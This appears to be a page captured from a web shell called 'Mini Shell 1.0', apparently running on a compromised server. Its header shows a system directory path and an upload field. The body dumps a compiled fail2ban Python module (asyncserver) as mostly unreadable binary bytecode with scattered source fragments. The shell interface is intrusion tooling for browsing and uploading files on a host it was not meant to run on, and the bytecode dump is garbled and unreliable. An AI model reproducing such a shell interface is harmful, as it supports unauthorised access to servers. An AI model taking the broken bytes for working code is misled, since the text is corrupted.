HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/fail2ban/server/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/fail2ban/server/__pycache__/asyncserver.cpython-311.pyc
�

�Bd�'�� �dZdZdZddlmZmZmZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlmZdd	lmZdd
lmZmZmZee��ZGd�dej��Zdd�ZGd�dej��ZGd�de��Z dS)z
Cyril Jaquierz Copyright (c) 2004 Cyril Jaquier�GPL�)�dumps�loads�HIGHEST_PROTOCOLN�)�Utils�)�CSPROTO)�logging�	getLogger�formatExceptionInfoc�N�eZdZd�Zd�Zd�Zd�ZGd�de��Zd�Z	d�Z
d	S)
�RequestHandlerc��tj�||��||_||_g|_|�tj��dS�N)	�asynchat�
async_chat�__init__�_RequestHandler__conn�_RequestHandler__transmitter�_RequestHandler__buffer�set_terminatorr
�END)�self�conn�transmitters   �=/usr/lib/python3/dist-packages/fail2ban/server/asyncserver.pyrzRequestHandler.__init__5sM��
����t�T�*�*�*��$�+�"�$���$�-����g�k�"�"�"�"�"�c���|jrZ|j}d|_	|�tj��|���dS#tj$rYdSwxYwdSr)r�shutdown�socket�	SHUT_RDWR�close�error)rrs  r�__closezRequestHandler.__close=ss��	�[�	�
�+�4��4�;�	��M�M�&�"�#�#�#��J�J�L�L�L�L�L��
�,�	�	�	��D�D�	����
	�	s�3A�A�Ac�l�|���tj�|��dSr)�_RequestHandler__closerr�handle_close�rs rr(zRequestHandler.handle_closeGs,���,�,�.�.�.�
��"�"�4�(�(�(�(�(rc�:�|j�|��dSr)r�append)r�datas  r�collect_incoming_dataz$RequestHandler.collect_incoming_dataKs���-���t�����rc��eZdZdS)�RequestHandler.LoadErrorN��__name__�
__module__�__qualname__�rr�	LoadErrorr/Ps�������$rr5c��	|j}g|_tj�|��}|tjkr|���dS	t
|��}nn#t$ra}t�	d|t�
��tjk���t�|���d}~wwxYw|jr|j�|��}ndg}t#|t$��}|�|tjz��dS#t$r�}t+|tj��sBt�	d|t�
��tjk���t#d|zt$��}|�|tjz��Yd}~dSd}~wwxYw)Nz$PROTO-error: load message failed: %s��exc_info�SHUTDOWNzCaught unhandled exception: %r�	ERROR: %s)rr
�EMPTY�join�CLOSE�close_when_doner�	Exception�logSysr$�getEffectiveLevelr�DEBUGrr5r�proceedrr�pushr�
isinstance)r�message�es   r�found_terminatorzRequestHandler.found_terminatorXs��� $�
�]�7��4�=�
�]�
�
��
(�
(�7�
�����������
�F�&��G�n�n�G�G��
�&�&�&�
�L�L�7���&�&�(�(���6��8�8�8�
�
"�
"�1�
%�
%�%�����&����
���� �(�(��1�1�G�G��l�G�
�7�,�
-�
-�7��9�9�W�w�{�
"�#�#�#�#�#��	�$�$�$�
�Q��0�
1�
1�9�
�L�L�1�1��&�&�(�(�'�-�7��9�9�9��;��?�$4�
5�
5�7��9�9�W�w�{�
"�#�#�#�#�#�#�#�#�#�����
$���s?�AD2�A&�%D2�&
C�0AC�C�AD2�2
G�<BG�Gc���	t��\}}t�dt|��z��t�t	j�������td|zt��}|�	|tjz��n#t$r
}Yd}~nd}~wwxYw|�
��dS)Nz"Unexpected communication error: %sr:)r
r@r$�str�	traceback�
format_exc�
splitlinesrrrDr
rr?r>)r�e1�e2rFrGs     r�handle_errorzRequestHandler.handle_error~s�����!�!�6�2�r�	�<�<�4�s�2�w�w�>�?�?�?�	�<�<�	�$�&�&�1�1�3�3�4�4�4�
�;��#�%5�
6�
6�7��9�9�W�w�{�
"�#�#�#�#��	�����4�4�4�4����������������s�B2B5�5
C	�C	N)r1r2r3rr'r(r-r?r5rHrPr4rrrr3s�������#�#�#�	�	�	�)�)�)����
���������!$�!$�!$�L
�
�
�
�
rrFc�~�|si}d|d<|�tj}tj}t	|��r|}n`|r^tjrRt
tjd��r8t�	d��t|��dz}tj}|���r�	||��|dr|dxxdzcc<�ni#t$�r[}|��sYd}~dS|dxxdz
cc<|ddkrw|jdtjtjfvr)t�d	t#|����n�t�d	t#|����n�|ddkr5t�|��t�d
��nm|ddkra|jdtjks%t+|�����dkr!t�d|��Yd}~dSYd}~nd}~wwxYw|�����dSdS)
z�Custom event loop implementation

	Uses poll instead of loop to respect `active` flag,
	to avoid loop timeout mistake: different in poll and poll2 (sec vs ms),
	and to prevent sporadic errors like EBADF 'Bad file descriptor' etc. (see gh-161)
	r�listenN�pollz"Server listener (select) uses poll��r�z Server connection was closed: %sz0Too many errors - stop logging connection errors�d�+Too many errors - critical count reached %r)r�DEFAULT_SLEEP_TIME�asyncorerS�callable�poll2�hasattr�selectr@�debug�floatr?�args�errno�ENOTCONN�EBADF�inforJr$�	exception�EMFILE�sum�values�critical)�active�timeout�use_poll�	err_countrSrGs      r�looprn�s`��	��R�9���8���O��$�'��
���X����	�$�$���8�>��g�h�o�v�&F�&F���,�,�3�4�4�4��'�N�N�T�!�'�	��$�
�v�x�x����4��=�=�=�����
�h����1�������	����
�&�(�(�
�	�E�E�E�E�E��X����!��������B���	�v�a�y�U�^�U�[�1�1�1��[�[�3�S��V�V�<�<�<�<��\�\�4�c�!�f�f�=�=�=�=��(��r�!�!�
���Q����
�L�L�C�D�D�D�D��(��c�!�!�	��q�	�U�\�!�!��I�������$�&�&��_�_�B�I�N�N�N�
�U�U�U�U�U����������)�����v�x�x�����s�"#C�H-�
H(�"D;H(�(H-c�\�eZdZd�Zd�Zd�Zd
d�Zd�Zd�Zd	�Z	d
�Z
d�Zed���Z
dS)�AsyncServerc��tj�|��||_d|_d|_d|_ddd�|_d|_dS)Nz/var/run/fail2ban/fail2ban.sockFr)�acceptrR)	rY�
dispatcherr�_AsyncServer__transmitter�_AsyncServer__sock�_AsyncServer__init�_AsyncServer__active�_AsyncServer__errCount�onstart)rrs  rrzAsyncServer.__init__�sP��
����t�$�$�$�"�$��1�$�+��$�+��$�-� �A�.�.�$�/��$�,�,�,rc��dS�NFr4r)s r�writablezAsyncServer.writable�s��	�rc�T�	|���\}}�n<#t$�r.}|jdxxdz
cc<|jddkr-t�d||jddk���n�|jddkrt�d��n�|jddkr�t
|tj��r|jdtj
ks*t|j�����d	kr4t�
d
|j��|���Yd}~dSd}~wwxYw|jdr|jdxxdzcc<t�|��t#||j��dS)NrrrrUzAccept socket error: %sr7z.Too many acceptor errors - stop logging errorsrVrrTrW)rrr?rxr@�warningr$rEr!r`rarfrgrhri�stoprp�_AsyncServer__markCloseOnExecrrt)rr�addrrGs    r�
handle_acceptzAsyncServer.handle_accept�s���
����
�
�:�4����	�
�
�
��?�8�����!����
�o�h��"�$�$�
�N�N�,�a���x�(�A�-��0�0�0�0����!�R�'�'�
�L�L�A�B�B�B�B����!�C�'�'��1�f�l�#�#��()��q�	�U�\�(A�(A��D�O�"�"�$�$�%�%��,�,��_�_�B�D�O�T�T�T�	�Y�Y�[�[�[�	�6�6�6�6�6�����
����
�_�X��#��?�8�����!����
����%�%�%���t�)�*�*�*�*�*s��E�D#E�ENFc�`��tj���_|�_tj�|��rZt�d��|r/t�	d����
��ntd�����tjtj������	��|��n%#t$$rtd�jz���wxYwt&��j
����d��dx�_x�_�_�jr����t5�fd�||�j���d	�_����dS)
Nz$Fail2ban seems to be already runningzForcing execution of the serverzServer already runningzUnable to bind socket %srTc����jSr)�_AsyncServer__loopr)s�r�<lambda>z#AsyncServer.start.<locals>.<lambda>s	���t�{�r)rkrlrmF)�	threading�current_thread�_AsyncServer__workerru�os�path�existsr@r$r~�_remove_sock�AsyncServerException�
create_socketr!�AF_UNIX�SOCK_STREAM�set_reuse_addr�bindr?rpr�rRrvr�rwryrnrxr)r�sock�forcerkrls`    r�startzAsyncServer.start�s�����*�,�,�$�-��$�+��W�^�^�D���9�	�<�<�6�7�7�7��9�
�N�N�4�5�5�5��������
�7�
8�
8�8����V�^�V�%7�8�8�8�������H��9�9�T�?�?�?�?��	�H�H�H�	�8�4�;�F�	G�	G�G�H����
�����,�,�,��+�+�a�.�.�.�.2�2�$�+�2���d�m�	�\���<�<�>�>�>������G�h�$�/�Z�Z�Z�Z��$�-��)�)�+�+�+�+�+s�C/�/"Dc�^��d}�jr�d�_�jr;	�j�tj��n#tj$rYnwxYwtj����tj
���jkrtj
�fd�d��d}�jrZtj��j��r6����t(�d�jz��|rt(�d��d�_dS)NFc����jSr�rwr)s�rr�z#AsyncServer.close.<locals>.<lambda>s���t�}�,�rrTzRemoved socket file zSocket shutdown)rwr�r!r r"r$rYrsr#r�r�r�r�wait_forrvr�r�r�rur�r@r^)r�stopflgs` rr#zAsyncServer.closes+����'�	�]���4�;�
�k�
�
�	�[���&�*�+�+�+�+���<�
�
�
�	�T�
��������T�"�"�"��� � �D�M�1�1�	�N�,�,�,�,�a�0�0�0�
�7�	�[�6�R�W�^�^�D�K�0�0�6�������	�<�<�&���4�5�5�5��#�	�<�<�!�"�"�"��$�-�-�-s�$?�A�Ac�Z�|jr#t�d��d|_dSdS)NzStop communication, shutdown)rtr@r^r)s r�stop_communicationzAsyncServer.stop_communication,s8��	���	�<�<�.�/�/�/��4�����rc�V�|���|���dSr)r�r#r)s rrzAsyncServer.stop4s%���������*�*�,�,�,�,�,rc��|jSrr�r)s r�isActivezAsyncServer.isActive9s
��	
��rc��	tj|j��dS#t$r!}|jtjkr�Yd}~dSd}~wwxYwr)r��removeru�OSErrorra�ENOENT)rrGs  rr�zAsyncServer._remove_sock?sd��
��9�T�[�������	�
�
�
��g�����	�����������
���s��
A�A�Ac���|���}tj|tj��}tj|tj|tjz��dSr)�fileno�fcntl�F_GETFD�F_SETFD�
FD_CLOEXEC)r��fd�flagss   r�__markCloseOnExeczAsyncServer.__markCloseOnExecLsF���{�{�}�}�"�
�+�b�%�-�
(�
(�%��+�b�%�-��u�'7�!7�8�8�8�8�8rr{)r1r2r3rr|r�r�r#r�rr�r��staticmethodr�r4rrrprp�s�������������+�+�+�>����>���8������
���
�
�
��9�9��,�9�9�9rrpc��eZdZdS)r�Nr0r4rrr�r�Vs�������rr�)NFN)!�
__author__�
__copyright__�__license__�picklerrrrrYrar�r�r!�sysr�rK�utilsr�protocolr
�helpersrrr
r1r@rrrnrsrpr?r�r4rr�<module>r�s���.�
�2�
���1�1�1�1�1�1�1�1�1�1�����������������	�	�	�	�
�
�
�
�
�
�
�
���������������������=�=�=�=�=�=�=�=�=�=�
��8�	�	��U�U�U�U�U�X�(�U�U�U�p-�-�-�-�lO9�O9�O9�O9�O9�(�%�O9�O9�O9�j�����9�����r